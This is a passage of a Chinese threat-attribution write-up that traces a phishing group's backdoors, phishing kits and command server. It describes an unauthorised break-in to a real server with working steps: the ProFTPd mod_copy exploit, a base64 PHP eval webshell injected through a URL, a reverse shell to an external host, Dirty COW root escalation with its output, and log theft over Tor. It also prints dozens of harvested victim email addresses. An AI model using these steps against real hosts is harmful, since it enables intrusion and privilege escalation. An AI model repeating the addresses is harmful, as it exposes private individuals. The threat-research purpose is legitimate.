根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。⚡ root@kali /tmp grep ".php" * |grep "/home2/helionco/public_html/" |grep "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt1137 198.143.51.17588 198.143.38.3478 198.143.41.14246 198.143.32.13131 198.143.32.3103 198.143.57.386 198.143.57.7384 198.143.57.546 198.143.32.1032 198.143.37.15......⚡ root@kali /tmp for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 198.143.51.17 来自: 以色列 IncapsulaIP: 198.143.38.3 来自: 美国 IncapsulaIP: 198.143.41.14 来自: 美国 IncapsulaIP: 198.143.32.13 来自: 美国 IncapsulaIP: 198.143.32.3 来自: 美国 IncapsulaIP: 198.143.57.3 来自: 美国 IncapsulaIP: 198.143.57.73 来自: 美国 IncapsulaIP: 198.143.57.5 来自: 美国 IncapsulaIP: 198.143.32.10 来自: 美国 Incapsula......
这个网站由于日志不全,提取出的IP大都是爬虫IP,所以不纳入最终的汇总。
4.5.3 发现钓鱼程序
网站 zebramedia.al 上发现多个攻击者放置的钓鱼程序和模板。
针对Dropbox

针对Gmail

4.6 关联分析
使用之前得到的后门文件中的关键字( config.php)对这3个网站文件进行匹配,发现其中2个存在相同后门文件,并且文件MD5值相同。
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}'./rosturplast.com/www/rosturplast.com/shells/config.php./mirohaviar.sk/www/config.php./zebramedia.al/www/zebramedia.al/config.php./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
后门文件MD5
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sume5c06f1f66781ba5c39d909096c4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.phpe5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.phpe5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.phpe5c06f1f66781ba5c39d909096c4cd47 ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
五、渗透攻击者傀儡服务器
5.1 漏洞扫描
目标:187.85.134.4
[+] HOST: 187.85.134.4(巴西) [+] OS: Ubuntu [+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19 [+] CMS: 未知
nmap --script=firewalk --traceroute 187.85.134.4

5.2 漏洞利用
端口扫描发现目标 FTP Server为 ProFTPd1.3.4a,这个版本和 1.3.5存在未授权文件复制漏洞,我们可以通过这个漏洞往Web目录写入一个WebShell。
ProFTPd 1.3.5 Remote Command Execution(CVE-2015-3306) ProFTPD中使用的mod_copy模块存在未授权访问风险,导致ProFTPD自带的命令 SITE CPFR 和 SITE CPTO可在未登录ftp

5.2 获取权限
使用用MSF执行

得到一个cmd功能的WebShell

写入中国菜刀客户端
http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -

5.3 文件分析
在Web目录下面发现用于发送钓鱼邮件的perl脚本、邮件钓鱼样本和大量的邮箱地址。以及挖矿后门、DDOS脚本等。


5.3.1 钓鱼模板
图示是针对丹麦丹斯克银行(Danske Bank)和希腊阿尔法银行(Alpha Bank)的邮件钓鱼样本。






5.3.2 僵尸网络程序


5.3.3 DDOS脚本

5.3.4 邮箱地址
统计目录下的 txt 文本数量,发现共有六十二万四千个邮箱地址。
⚡ root@kali /tmp/187.85.134.4/www/cat wc -l *.txt624000 总用量
主流邮箱检索
⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.coma0000001.txt:a.l.v.ertadsmileyksso@gmail.coma0000001.txt:a.lfer.gm@gmail.coma0000001.txt:a.lieseijsink@gmail.coma0000001.txt:a.linkhusen@gmail.coma0000001.txt:a.loldrup@gmail.coma0000001.txt:a.lovendahl@gmail.coma0000001.txt:a.lv.e.rtadsmileyksso@gmail.coma0000001.txt:a.lver.tadsmileyksso@gmail.coma0000001.txt:a.m.edsberg@gmail.coma0000001.txt:a.m.morcke@gmail.coma0000001.txt:a.m.quist@gmail.coma0000001.txt:a.m.svendsen@gmail.coma0000001.txt:a.merete.p@gmail.coma0000001.txt:a.mette.sm@gmail.coma0000001.txt:a.miller8111@gmail.coma0000001.txt:a.moejbaek@gmail.coma0000001.txt:a.moltkehansen@gmail.coma0000001.txt:a.munktved@gmail.coma0000001.txt:a.n.knutzen@gmail.com⚡ root@kali /tmp/187.85.134.4/www/cat grep "@outlook.com" *.txt |head -n 20a0000001.txt:a.m.westra@outlook.coma0000001.txt:a.olsen@outlook.coma0000002.txt:aagren@outlook.coma0000003.txt:aandanimalcity@outlook.coma0000003.txt:aarhus-ungegruppe@outlook.coma0000004.txt:aase.lousdal@outlook.coma0000006.txt:abroschultz@outlook.coma0000008.txt:adamfred2@outlook.coma0000008.txt:adexecsolution@outlook.coma0000010.txt:adrian.f.a.svendsen@outlook.coma0000015.txt:aiah@outlook.coma0000015.txt:aimeegarcia584@outlook.coma0000016.txt:ajolicoeu@outlook.coma0000018.txt:akstrup@outlook.coma0000020.txt:alexander_bangsborg@outlook.coma0000020.txt:alexanderkopke@outlook.coma0000020.txt:ali__sivan@outlook.coma0000021.txt:alicegerner@outlook.coma0000022.txt:allanjeppesen@outlook.coma0000023.txt:allworlduseu@outlook.com⚡ root@kali /tmp/187.85.134.4/www/cat grep "@163.com" *.txt |head -n 20a0000001.txt:a31a18615@163.coma0000001.txt:a398c671@163.coma0000059.txt:backlink0321@163.coma0000061.txt:banqianm8256@163.coma0000075.txt:bf86ad32@163.coma0000121.txt:cbb146672@163.coma0000129.txt:chenbin800519@163.coma0000134.txt:chuofuh3082@163.coma0000157.txt:davidhuang001@163.coma0000162.txt:dfjiuew@163.coma0000209.txt:f08dbf326@163.coma0000213.txt:fanxued79193@163.coma0000221.txt:fjfzpy@163.coma0000227.txt:fon@163.coma0000259.txt:guangdk@163.coma0000311.txt:huhuanqiang00161@163.com
5.4 提权
5.4.1 CVE-2013-2094,CVE-2013-1763提权
查看apache日志目录,发现没有权限。
[/var/www/]$ls -al /var/log/apache2/ls: cannot open directory /var/log/apache2/: Permission denied
内核版本为 3.5.0-23,尝试提权。
[/var/www/]$cat /etc/issueUbuntu 12.04.2 LTS \n \l[/var/www/]$uname -anLinux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013 GNU

WebShell反弹:[/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443外网VPS监听:socat file:`tty`,echo=0,raw tcp-listen:443

实际测试 CVE-2013-2094,CVE-2013-1763均无法提权。
CVE-2013-2094Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)CVE-2013-1763Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation
5.4.2 脏牛提权
祭出大杀器CVE-2016-5195(脏牛) , 理论上通杀 2.6.22 < 3.9 (x86/x64)的内核版本。
在本地环境提权测试过程中发现,i386架构下使用cowroot提权时EXP会破坏源文件,导致提权失败。而使用dirtycow-mem仅修改内存则没有问题,但是存在内核崩溃的风险。这两个EXP都是利用/proc/self/mem提权,前一个修改文件,后一个修改内存。
如图所示:

使用dirtycow-mem.c提权时需要注意:i386架构下编译前需要将源代码中libc路径修改为目标系统libc路径,否则执行时找不到文件。
#define SHELLCODE "\x31\xc0\xc3"#define SPACE_SIZE 256#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改为 /lib/i386-linux-gnu/libc.so.6#define LOOP 0x1000000#ifndef PAGE_SIZE#define PAGE_SIZE 4096
Give me root :),提权成功。
www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthreadwww-data@medidor2:/tmp$ lshellowww-data@medidor2:/tmp$ chmod +x hellowww-data@medidor2:/tmp$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@medidor2:/tmp$ ./hello[*] range: b7573000-b7716000][*] getuid = b762bd10[*] mmap 0xb73cb000[*] exploiting (patch)[*] patched (madviseThread)[*] patched (procselfmemThread)root@medidor2:/tmp# [*] exploiting (unpatch)[*] unpatched: uid=33 (madviseThread)[*] unpatched: uid=33 (procselfmemThread)root@medidor2:/tmp# iduid=0(root) gid=0(root) groups=0(root)
打包Apache日志。
✘ ⚡ root@kali ls /var/log/apache2access error other_vhosts_access.log✘ ⚡ root@kali tar zcvf /var/www/apache2-log.tar.gz /var/log/apache2/✘ ⚡ root@kali /tmp ltor wget http://187.85.134.4/apache2-log.tar.gz[proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf[proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so[proxychains] DLL init--2011-11-11 11:11:11-- http://187.85.134.4/apache2-log.tar.gz正在连接 187.85.134.4:80... [proxychains] Strict chain ... 127.0.0.1:9050 ... 187.85.134.4:80 ... OK已连接。已发出 HTTP 请求,正在等待回应... 200 OK长度:9258688 (8.8M) [application/x-gzip]正在保存至: “apache2-log.tar.gz”apache2-log.tar.gz 100%[===================>] 8.83M 29.6KB/s 用时 5m 45s2018-11-11 11:11:11 (26.2 KB/s) - 已保存 “apache2-log.tar.gz” [9258688/9258688])
5.5 分析日志
分析IP访问情况
⚡ root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt95 185.56.80.13877 197.211.60.5270 67.71.3.859 207.35.210.3541 99.226.207.4641 193.215.40.23839 197.211.59.16338 82.61.95.13238 66.249.73.9537 76.26.34.18137 197.234.221.7731 105.112.27.6029 105.112.23.4120 109.166.138.6816 66.249.79.6116 197.211.61.1814 212.100.77.19112 197.234.221.2108 66.249.79.358 66.249.73.647 154.118.69.1655 66.249.73.67......⚡ root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; doneIP: 185.56.80.138 来自: 荷兰IP: 197.211.60.52 来自: 尼日利亚IP: 67.71.3.8 来自: 加拿大IP: 207.35.210.35 来自: 加拿大IP: 99.226.207.46 来自: 加拿大IP: 193.215.40.238 来自: 挪威IP: 197.211.59.163 来自: 尼日利亚IP: 82.61.95.132 来自: 意大利IP: 66.249.73.95 来自: Google 骨干网IP: 76.26.34.181 来自: 美国IP: 197.234.221.77 来自: 贝宁IP: 105.112.27.60 来自: 尼日利亚IP: 105.112.23.41 来自: 尼日利亚IP: 109.166.138.68 来自: 罗马尼亚IP: 66.249.79.61 来自: Google 骨干网IP: 197.211.61.18 来自: 尼日利亚IP: 212.100.77.191 来自: 尼日利亚IP: 197.234.221.210 来自: 贝宁IP: 66.249.79.35 来自: Google 骨干网IP: 66.249.73.64 来自: Google 骨干网IP: 154.118.69.165 来自: 尼日利亚IP: 66.249.73.67 来自: Google 骨干网......
根据路径名判断,疑似受害者访问了钓鱼页面。
⚡ root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
查看web目录下txt文件访问情况,总共有一万多IP。访问地址包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。
grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
⚡ root@kali ~/Desktop wc -l ip.txt10101 ip.txt
5.6 访问IP热力图
5.6.1 IP转经纬度坐标
将获得的IP转换成经纬度坐标,再通过百度地图API生成热力图
将IP转换成经纬度坐标,脚本:
ip2xy.py生成经纬度坐标文件:point.js全球IP库:GeoLiteCity.dat
#!/usr/bin/python#coding:utf-8import pandas as pdimport pygeoipimport typesimport sysgi = pygeoip.GeoIP('/tmp/GeoLiteCity.dat', pygeoip.MEMORY_CACHE)def getLocal(ip):if type(ip) != types.StringType:print ipreturnlocation = gi.record_by_addr(ip)if location is None:print ipreturnlng = location['longitude']lat = location['latitude']str_temp = '{"lat":' + str(lat) + ',"lng":' + str(lng) + '},\n'print ip,lng,lat,str_tempfile.write(str_temp)file = open('/tmp/point.js', 'w')file.write("var points =[\n")with open("/tmp/ip.txt") as f:i = 0for ip in f.readlines():getLocal(ip)file.write("];\n")file.close()
5.6.2 调用百度地图API
本地调用百度地图 JavaScript API: map.html
<!DOCTYPE html><html lang="en"><head><!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="viewport" content="initial-scale=1.0, user-scalable=no" /><script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填写自己的百度AK"></script><script type="text/javascript" src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script><script type="text/javascript" src="./point.js"></script><title>热力图功能示例</title><style type="text/css">ul,li{list-style: none;margin:0;padding:0;float:left;}html{height:100%}body{height:100%;margin:0px;padding:0px;font-family:"微软雅黑";}#container{height:100%;width:100%;}#r-result{width:100%;}</style></head><body><div id="container"></div><div id="r-result" style="display:none"><input type="button" onclick="openHeatmap();" value="显示热力图"/><input type="button" onclick="closeHeatmap();" value="关闭热力图"/></div></body></html><script type="text/javascript">var map = new BMap.Map("container"); // 创建地图实例var point = new BMap.Point(34.0224714118,109.0786868715);map.centerAndZoom(point, 6); // 初始化地图,设置中心点坐标和地图级别map.setCurrentCity("西安"); //设置当前显示城市map.enableScrollWheelZoom(); // 允许滚轮缩放if(!isSupportCanvas()){alert('热力图目前只支持有canvas支持的浏览器,您所使用的浏览器不能使用热力图功能~')}//详细的参数,可以查看heatmap.js的文档 https://github.com/pa7/heatmap.js/blob/master/README.md//参数说明如下:/* visible 热力图是否显示,默认为true* opacity 热力的透明度,1-100* radius 势力图的每个点的半径大小* gradient {JSON} 热力图的渐变区间 . gradient如下所示* {.2:'rgb(0, 255, 255)',.5:'rgb(0, 110, 255)',.8:'rgb(100, 0, 255)'}其中 key 表示插值的位置, 0~1.value 为颜色值.*/heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});map.addOverlay(heatmapOverlay);heatmapOverlay.setDataSet({data:points,max:100});//closeHeatmap();//判断浏览区是否支持canvasfunction isSupportCanvas(){var elem = document.createElement('canvas');return !!(elem.getContext && elem.getContext('2d'));}function setGradient(){/*格式如下所示:{0:'rgb(102, 255, 0)',.5:'rgb(255, 170, 0)',1:'rgb(255, 0, 0)'}*/var gradient = {};var colors = document.querySelectorAll("input[type='color']");colors = [].slice.call(colors,0);colors.forEach(function(ele){gradient[ele.getAttribute("data-key")] = ele.value;});heatmapOverlay.setOptions({"gradient":gradient});}function openHeatmap(){heatmapOverlay.show();}function closeHeatmap(){heatmapOverlay.hide();}</script></body></html>
5.6.3 生成热力图
如图所示,欧洲IP居多,亚洲也不少。至于有多少主机沦陷和多少受害者上钩,无法准确判断。



六、信息汇总
根据所得信息汇总,对这个黑客组织信息进行简单分析,仅供参考。
6.1 组织信息
名称:
Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber
地区:
巴勒斯坦
成员ID:
HawkB404 、 MR.S1NSY 、 koneksi eror 、 GU3LT03M 、 SinonX 、 ./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4 、 AKEMI403
历史邮箱:
alexsin54@yahoo.com jasonchowan223@gmail.com macacperus@yopmail.com bidibidibidi@yopmail.com bidi.pici11@hotmail.com bidi.cuc@mail.com flrnvasilica@gmail.com
组织主页:
http://mujahidincyberarmy.blogspot.com/ https://www.facebook.com/FamilyAttackCyberOfficial/
6.2 攻击手段
入侵使用Wordpress、Joomla! CMS的网站、放置钓鱼程序,批量传播钓鱼邮件。
攻击目标:
早期政治目的居多,主要攻击美国政府机构网站和雇员。近期多为商业目的,主要针对欧洲银行客户以及亚洲金融机构雇员进行邮件钓鱼。
控制主机:
187.85.134.4
常用后门:
略
6.3 攻击历史
美国联邦调查局、美国国土安全部、美国司法部
巴勒斯坦黑客已经发布了大约2万名联邦调查局(FBI)和9,000名国土安全部(DHS)官员的个人信息 http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html
通过钓鱼邮件获得美国司法部权限 http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html
6.4 代理IP
174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"178.128.221.199 (希腊)- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"197.211.61.82 (尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
6.5 被黑网站
不完全统计rosturplast.commirohaviar.skhelioncomposites.comradiolanalhue.clzebramedia.alwww.qtfontebispo.comwww.seoeaze.comvilapoucadeaguiar.comproyectosphr.clu-p.comwww.humanaconsultores.clamsogroup.comwww.tdftechnologies.comwww.bvvagos.ptwww.huellasdigitales.cllince.apsl.edu.plwww.fica.unsl.edu.arproyectosphr.clwww.zlobek.uw.edu.plifr.ptmail.ijrer.orgwww.hkmms.org.hkhistoria.apsl.edu.plwww.homeguide.com.sgonlinecombos.co.inumo.apsl.edu.plwww.bpmp2t.lombokbaratkab.go.idamsogroup.comviper.clwww.teniscavancha.clwww.estacaomedica.ptterrarestobar.cljf-bragado.pthelioncomposites.comnotariabasualto.clericdiblasi.comreinamarltda.clcobraz.ptwww.stmarypellaia.comwebcam.wm-itservice.at
七、攻击路径还原
复盘整个溯源过程,还原攻击者攻击路径。

本文来自https://mp.weixin.qq.com/s/2_-dXLwkC3slFYV4lBsp2w,经授权后发布,本文观点不代表立场,转载请联系原作者。

